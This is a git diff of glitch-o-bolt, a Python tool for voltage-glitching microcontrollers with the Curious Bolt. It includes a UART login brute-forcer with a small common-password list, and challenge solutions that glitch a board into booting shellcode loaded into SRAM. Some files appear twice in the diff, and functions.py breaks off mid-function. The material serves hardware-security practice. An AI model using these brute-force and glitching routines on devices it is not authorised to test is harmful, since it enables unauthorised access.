+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file
diff --git a/functions.py b/functions.py
new file mode 100644
index 0000000..66279b0
--- /dev/null
+++ b/functions.py
@@ -0,0 +1,766 @@
+import sys
+import os
+import re
+import time
+import serial
+import importlib
+from scope import Scope
+from textual.widgets import Button, Input, Switch
+from textual.containers import Vertical
+
+import asyncio
+import functions
+
+DEBUG_MODE = False
+
+app_instance = None  # Global variable to store the app instance
+text_area = None     # Store global reference to scrollable text area
+config = None        # dynamic loading of config file
+log_time = 0         # timestamp for logfile
+glitch_time = 0      # timestamp for when glitching started
+
+try:
+    s = Scope()
+except IOError:
+    s = None
+    print("Warning: Scope not connected, running in simulation mode")
+
+def set_config(cfg):
+    global config
+    config = cfg
+
+def set_app_instance(app):
+    """Store the app instance for UART access"""
+    global app_instance
+    app_instance = app
+
+def log_message(message):
+    if DEBUG_MODE:  
+        with open("debug.log", "a") as log_file:
+            log_file.write(message + "\n")
+
+def set_log_time(value):
+    global log_time
+    log_time = value
+
+def set_glitch_time(value):
+    global glitch_time
+    glitch_time = value
+
+def get_config_value(name: str) -> int:
+    """Return the latest value of the given config variable, and create them if they don't exist."""
+    if name == "length":
+        if not hasattr(config, "LENGTH"):
+            config.LENGTH = 0  # Default value if not set
+        return config.LENGTH
+    elif name == "repeat":
+        if not hasattr(config, "REPEAT"):
+            config.REPEAT = 0  # Default value if not set
+        return config.REPEAT
+    elif name == "serial_port":
+        if not hasattr(config, "SERIAL_PORT"):
+            config.SERIAL_PORT = "/dev/ttyUSB0"  # Default value if not set
+        return config.SERIAL_PORT
+    elif name == "baud_rate":
+        if not hasattr(config, "BAUD_RATE"):
+            config.BAUD_RATE = 115200  # Default value if not set
+        return config.BAUD_RATE
+    elif name == "delay":
+        if not hasattr(config, "DELAY"):
+            config.DELAY = 0  # Default value if not set
+        return config.DELAY
+    elif name == "log_time":
+        return log_time  # Return the module variable directly
+    elif name == "glitch_time":
+        return glitch_time  # Return the module variable directly
+    elif name == "conFile":
+        if not hasattr(config, "CONFILE"):
+            config.CONFILE = "config.py"  # Or any suitable default
+        return config.CONFILE
+    elif name.startswith("trigger_"):
+        if "_value" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][0]
+        elif "_state" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][1]
+    else:
+        return 0  # Default fallback for unknown names
+
+def set_config_value(name: str, value: int):
+
+    if hasattr(config, name.upper()):
+        current_value = getattr(config, name.upper())
+        setattr(config, name.upper(), value)
+
+        # Update corresponding Input field
+        input_field = app_instance.query_one(f"#{name}_input")
+        input_field.value = str(value)
+
+        # Update the status box row
+        update_status_box(app_instance, name, value)
+
+        # Refresh UI to reflect changes
+        app_instance.refresh()
+
+def get_condition_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_condition_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_condition_value(index: int, value: bool) -> None:
+    """Update switch state in config"""
+    if 0 <= index < len(config.conditions):
+        if app_instance.query(f"#condition_switch_{index}"):
+            switch = app_instance.query_one(f"#condition_switch_{index}", Switch)  
+            switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def ensure_triggers_exist():
+    if not hasattr(config, "triggers") or not config.triggers or len(config.triggers) < 8:
+        config.triggers = [["-", False] for _ in range(8)]
+
+def get_trigger_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][0]  # Return the string value
+    else:
